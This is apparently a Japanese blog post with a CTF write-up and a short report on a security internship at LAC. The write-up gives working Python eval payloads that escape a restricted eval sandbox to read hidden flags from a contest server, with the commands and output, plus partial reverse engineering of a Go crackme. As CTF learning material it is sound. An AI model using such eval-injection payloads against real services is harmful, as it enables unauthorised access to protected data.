0xd5, 0x15, 0x3d, 0xd5, 0x9d, 0x21, 0x71, 0xf1, 0xa1, 0x69, 0x31, 0x61, 0xdd, 0x89, 0xb9, 0x49, 0xb9, 0x09, 0xa1, 0x13, 0x93, 0x09, 0x19, 0xc9, 0xe1, 0xf1, 0xa1, 0x65, 0xd9, 0x29, 0x41 T W C T F { q p z i s y D n b m b o z 7 6 o g l x p z Y d k } ABCDEFGHIJKLMNOPQRSTUVWXYZ 0x7d, 0xbd, 0x3d, 0xdd, 0x5d, 0x9d, 0x1d, 0xed, 0x6d, 0xad, 0x2d, 0xcd, 0x4d, 0x8d, 0x0d, 0xf5, 0x75, 0xb5, 0x35, 0xd5, 0x55, 0x95, 0x15, 0xe5, 0x65, 0xa5 abcdefghijklmnopqrstuvwxyz 0x79, 0xb9, 0x39, 0xd9, 0x59, 0x99, 0x19, 0xe9, 0x69, 0xa9, 0x29, 0xc9, 0x49, 0x89, 0x09, 0xf1, 0x71, 0xb1, 0x31, 0xd1, 0x51, 0x91, 0x11, 0xe1, 0x61, 0xa1 1234567890 0x73, 0xb3, 0x33, 0xd3, 0x53, 0x93, 0x13, 0xe3, 0x63, 0xf3
TWCTF{qpzisyDnbmboz76oglxpzYdk}
pplc: private
自分は初めてみる形式の問題で,脳トレっぽくて楽しめました.
pythonのソースコードが渡されます. あと,このプログラムが動いているサーバがあります.
import sys from restrict import Restrict r = Restrict() # r.set_timeout() class Private: def __init__(self): pass def __flag(self): return "TWCTF{CENSORED}" p = Private() Private = None d = sys.stdin.read() assert d is not None assert "Private" not in d, "Private found!" d = d[:24] r.seccomp() print eval(d)
問題の概要としては,Privateの中にある__flag関数を呼んでフラグを取ってね,みたいな感じ.
そんなの普通に呼べばいいやんけってわけにはいかなくて,pythonにはprefixとしてアンダースコア2つで関数を定義すると,マングリング機構というものが働いて,メソッド名が_クラス名__メソッド名に変換されるので,元の名前では呼ぶことができなくなります.
そう,元の名前では呼べないだけで,変換された名前で呼んであげれば勝ちです.
しかし,assertが働いているので “Private” という文字列を入力することができません.
ここで,先日参加したkatagaitai勉強会のXSS千本ノックで学んだXSS的思考が役に立ちました.
まず,dir(p)でpオブジェクトのメソッド一覧を調べます.
すると,変換された名前である “_Private__flag” が第1要素として格納されているので,これを使います.
eval("p."+dir(p)[0]+"()")
これで,一度式が評価されて “p._Private_flag()” という文字列が生成されてから,再度元々のevalにより関数として評価されて勝ち!って思ったんだけど,これは25文字になってしまい,24文字制限があるこの問題では最後の “)” が入力されない.
ここで結構悩んでいたのですが,文字列の中で変数展開的なことできなかったっけ?と思って,
eval('p.%s()'%dir(p)[0])
こう書いてみたら24文字ぴったりでした.
$ ncat ppc1.chal.ctf.westerns.tokyo 10000 eval('p.%s()'%dir(p)[0]) TWCTF{__private is not private}
参考:
pplc: local
import sys from restrict import Restrict r = Restrict() # r.set_timeout() def get_flag(x): flag = "TWCTF{CENSORED}" return x d = sys.stdin.read() assert d is not None d = d[:30] r.seccomp() print eval(d)
get_flagの中で定義されているローカル変数であるflagを読みだす問題.
無理ゲーやろって思って,過去問見ながら調べてたら去年はRubyの問題でデバッグ関係の関数が役に立ったというのを見て,調べてたけどダメ.
さっきみたいにdirでget_flagのメソッド取り出してアクセスできないかなと調べてたら以下のサイトが役に立った.
dir(get_flag.func_code)でメソッド全部出して,それっぽいのを見ていきました.
dir(get_flag.func_code) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] get_flag.func_code.co_argcount 1 get_flag.func_code.co_code d}|S $ get_flag.func_code.co_consts (None, 'TWCTF{CENSORED}') $ ncat ppc1.chal.ctf.westerns.tokyo 10001 get_flag.func_code.co_consts (None, 'TWCTF{func_code is useful for metaprogramming}')
pplc: comment
import sys from restrict import Restrict r = Restrict() # r.set_timeout() d = sys.stdin.read() assert d is not None d = d[:20] import comment_flag r.seccomp() print eval(d)
''' Welcome to unreadable area! FLAG is TWCTF{CENSORED} '''
メモリ上の値をどうにかして呼び出すのかな~とか思ってimport gc; gc.get_objects()
とかをやろうとしていたのですが,evalは文を評価してくれないため詰み.
localを解いた後だったので,さっきみたいなところに入ってたりしないかな~と適当に見ていったら見つかって拍子抜けした.
dir(comment_flag) ['__builtins__', '__doc__', '__file__', '__name__', '__package__'] comment_flag.__doc__ Welcome to unreadable area! FLAG is TWCTF{CENSORED} $ ncat ppc1.chal.ctf.westerns.tokyo 10002 comment_flag.__doc__ Welcome to unreadable area! FLAG is TWCTF{very simple docstring}
__doc__に入るっぽい
取り組んだが解けなかった問題
Let’s go!
golang x crackme な感じのやつでした.
絶対解くぞと思って朝までやっててもできなかったので,途中までやったことを書いていきます.
$ file lets_go lets_go: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
一見普通のELFっぽいですが,中を見てみると見慣れない関数とかがあって調べてみたらgolangで書かれたものでした.(Let’s go!という問題文も納得)
passwordとなる文字列をコマンドライン引数で渡して実行する形式.
$ ./lets_go hoge
Failed... ;(
まずはpasswordを比較しているところを探すことから始めました.
あと,golangバイナリの読み方?的なことも調べつつ.
main.mainから読んでいきます.
main.mainはこんな感じです.
このプログラムは引数がちゃんと渡されていたら,テーブルの生成とパスワードチェックの関数が実行されるようになっています.
テーブルは,後ほど出てくる暗号化で使われているテーブルです.
main.UhoCh5ooSeith0ee7Ien
で生成されているのですが,詳細な動作を読む必要は無さそう.
結果として,
WPnq7JEM2AskwjoX3VRx9aHbiYfd4#Zp05TUGc1SBCFNgvhz8rQl6@ytIKumDeOL
というテーブルが生成されます.
テーブルが生成された後,main.mainにてmain.Xerei4oreeshex6zien0
という関数が実行されます.
0x492a5c <main.main+140>: call 0x491fa0 <main.Xerei4oreeshex6zien0>
この関数はパスワードチェックやFLAGが正しいかどうかのチェックも担っているチェック関数みたいなやつです.
こいつの内部でcallされている関数の中で重要な関数がmain.Wuyeiqua4ievohR4ahng
です.
入力値やテーブルなどを受け取ってなんかやってます.
これを実行すると戻り値として暗号化っぽい処理を施された文字列が返ってきます.
その後,その戻り値がR6aYb@VboTG==
かどうかで分岐しているので,main.Wuyeiqua4ievohR4ahng
をもっと詳しく読む必要があります.
main.Wuyeiqua4ievohR4ahng
では,入力値を2進数化してから,
0x491d70: e8 cb 40 fc ff call 455e40 <strconv.ParseInt>
ここで,その値をパースしています.確か引数として6とかを渡していて,”先頭から6文字づつ取り出す”とかそんな挙動になると思います.
そして,
0x491d8b: 48 8b 94 24 e0 00 00 mov rdx,QWORD PTR [rsp+0xe0] # rdx = table 0x491d92: 00 0x491d93: 0f b6 04 02 movzx eax,BYTE PTR [rdx+rax*1] # eax = table[rax]
ここで,ParseIntの結果をtableのインデックスとして用いて,tableから1文字取り出す,ということをやっています.
つまり,'A'という入力値が与えられた場合,まず'A'の2進表現として01000001に変換され,先頭から6文字である'010000'が取り出される.
これは10進数で16なので,table[16]である3が取り出され,残りの01に対しても6bitに拡張される?からなのか,010000となり,同じようにtable[16]である3が取り出されます.
そして,1回目のjoinで結合されて'33'になり,2回目のjoinでパディングが付与されて'33===‘になる,みたいな挙動をします.
6bitで区切って末尾にパディングはイメージ的にはbase64っぽい.
そこで,何をすればパスワードが求まるかというと,"R6aYb@VboTG==“のそれぞれの文字に対してtableからインデックスを求めてからそれを2進数化、そして8文字区切りで読んでいけば読める、パディングは無視します.
tableにおけるRの位置は18, 6は52,,,,,これを続けていき,求まった値をスクリプトに書いてパスワードを求めました.
#!/usr/bin/env python import sys def main(): password = [18, 52, 21, 25, 23, 53, 17, 23, 14, 34, 36] # "R6aYb@VboTG" pass_bin = "" for i in password: pass_bin = pass_bin + format(i, 'b').zfill(6) for i in range(len(pass_bin)/8): sys.stdout.write(chr(int(str(pass_bin[i*8:i*8+8]), 2))) if __name__ == '__main__': main()
すると,"KEY_TW:)“というパスワードが求まります.
ここからが本題で,求まったパスワードを元に実行すると,
$ ./lets_go "KEY_TW:)" Input FLAG: hoge Failed... ;(
このように,渡されたFLAGの値を正しいかどうかチェックするようになります.
読むべき場所はここ
0x4924ab <main.Xerei4oreeshex6zien0+1291>: call 0x491a80 <main.f1151e71905f3d94b49b0>
この関数,渡されたパスワードを元にゴニョゴニョやっているので,パスワードについては分岐を潰すだけではダメで,実際に↑で書いたように正しい値を求める必要があります.
この関数に入る前に,
0x4923cf <main.Xerei4oreeshex6zien0+1071>: cmp rcx,0x30 // 入力値は48文字 0x4923d3 <main.Xerei4oreeshex6zien0+1075>: jne 0x4926e6 <main.Xerei4oreeshex6zien0+1862> // 48文字ではなかったらExit
ここでFLAGの文字数を48文字でなかったらFailedになる処理があるので,適当に48文字与える必要があります.
ここでは”TWCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}”という文字列を与えます.
(ここら辺から言っていることが正しいのか自信がないので間違ってたら申し訳ない)
では先ほど出てきたmain.f1151e71905f3d94b49b0
がなにをしているのかというと,渡された48文字を先頭から8文字取り出して,
'TWCTF{AA'[0] + 'KEY_TW:)'[0]
まず,この値を求めます. そして,スタック上にできているtable(先ほどとは違うもの)に対して,この値をインデックスとして取り出す.
取り出した値に,TWCTF{AAの'W'を加えて,それをRCXに格納.
RCX = table[ 'TWCTF{AA'[0] + 'KEY_TW:)'[0] ] + 'TWCTF{AA'[1]
rol cl, 1
最後にRCXの下位8bitをrolしてから,RCXの下位8bitを"TWCTF{AA"の指定の場所に格納して"TdCTF{AA"になってそのまま32回繰り返すので,次に"Td,TF{AA"となり,これがどんどん繰り返されて最終的に64bitのよくわからない値になります.
そして,main.f1151e71905f3d94b49b0
からretして
0x492574 <main.Xerei4oreeshex6zien0+1492>: call 0x464780 <reflect.DeepEqual>
にて,値が正しいのか確かめていると思う.
この処理を計6回行って48文字の正誤を検証しているっぽいです.
で,DeepEqualにてどんな値とそれぞれ比較されているのかというと
1回目:0x48fd9fdd395cfe4a 2回目:0x555ed4725bde6cf0 3回目:0xb492d5de09fa160 4回目:0x9c326531f39e320e 5回目:0x5eecc9092cef233d 6回目:0x10b4e73f5fd73945
つまり,これがFLAGっぽいです.
Z3使えば答えが求まるかなと思って,少しづつ書いていたのですが,できずにタイムアップしました.
他の方のWriteupを読みたいと思います…
まとめ
解けた中で一番面白かったのはpplc,解けなかったけど一番時間をかけたのはLet’s go!でした.
Let’s go!が解けていれば順位が2桁だったので悔しさがある…
リケジョじゃないけどリケジョのサマーインターンに参加してきた
はじめに
株式会社ラックさんで行われた「夏のリコチャレ2017 リケジョのサマーインターン第二弾」に参加してきました.
頂いたパンフレット.
1dayインターンってやつでした.
リケジョじゃないのに参加できたのは,第二弾は男女どちらでも参加可能だったからです!
なにをしてきたのか
JSOCを見学できたのと,マルウェア解析をやりました.何をやったかは詳しく書けないので,感想と簡単なまとめだけ書いていきます.
朝から人身事故が起きてたり.何番線に行けばいいかわからなかったりしましたが.なんとか辿り着けました.
会場に到着して名前と大学名を伝えたら名札的なのを貰いました.
なにをやってる会社なのかとか歴史とかを聞いて,初めてLACという社名がLittle eArth Corporationの略だということを知りました.
JSOCが大体何件のログを処理しているかとか,そういうデータ的なお話も聞けたり.LACのFalconのお話も聞けて.Falconが処理しているログの多さに驚きました.
その後はマルウェア解析をするための準備的なのをやってから昼食でした.
昼食ではCTFerの方と今年のGoogle CTFのmindreaderわろた的な話をしたり.社員さんの中で僕と地元がほぼ一緒の人がいたりして.親近感を覚えていました.
驚いたのが,昼食を食べ終わって部屋に戻ろうとしたら講師の方にセキュキャンのことでお声をかけて頂いて,セキュキャンパワーすごいなと思いました.(名前負けしないようにしっかり実力をつけないと…)
昼食の後はJSOCを見学しました.
実は存在すら知らなかったJSOCでしたが…見学してみると働いてる人たちが皆さんプロって感じで格好良くて見入ってました.
去年からリニューアルしたらしくて,去年までの真っ黒なサイバーな感じも格好良いのですが,それはそれで不都合があるようで,陽の光が入らないという致命的な欠点があったっぽいです.
今はホワイトなカラーで,ホワイトハッカーをイメージしているんだとか.
その後はいよいよマルウェア解析で.ちょめちょめといろんな事をやってました.
講師の方の説明がわかりやすくてとても丁寧だったので詰まるところはありませんでした.
最後に海外や日本のイベントの紹介があって.REconは初めて知りました.
まとめ
JSOCを見学してプロが実際に働いている現場を生で見ることができたのは,とても貴重な経験でした.
マルウェア解析のハンズオンもわかりやすく丁寧に教えて頂き,きっかけ作りという講義ではなくてしっかりと技術を身につける講義だったので,様々な知見を得ました.
セキュキャンが終わり,インターンが終わり,残すイベントは来週のkatagaitai勉強会ぐらいで,あとはみっちり勉強しようと思ってます.(バイトもしなきゃ)
以上.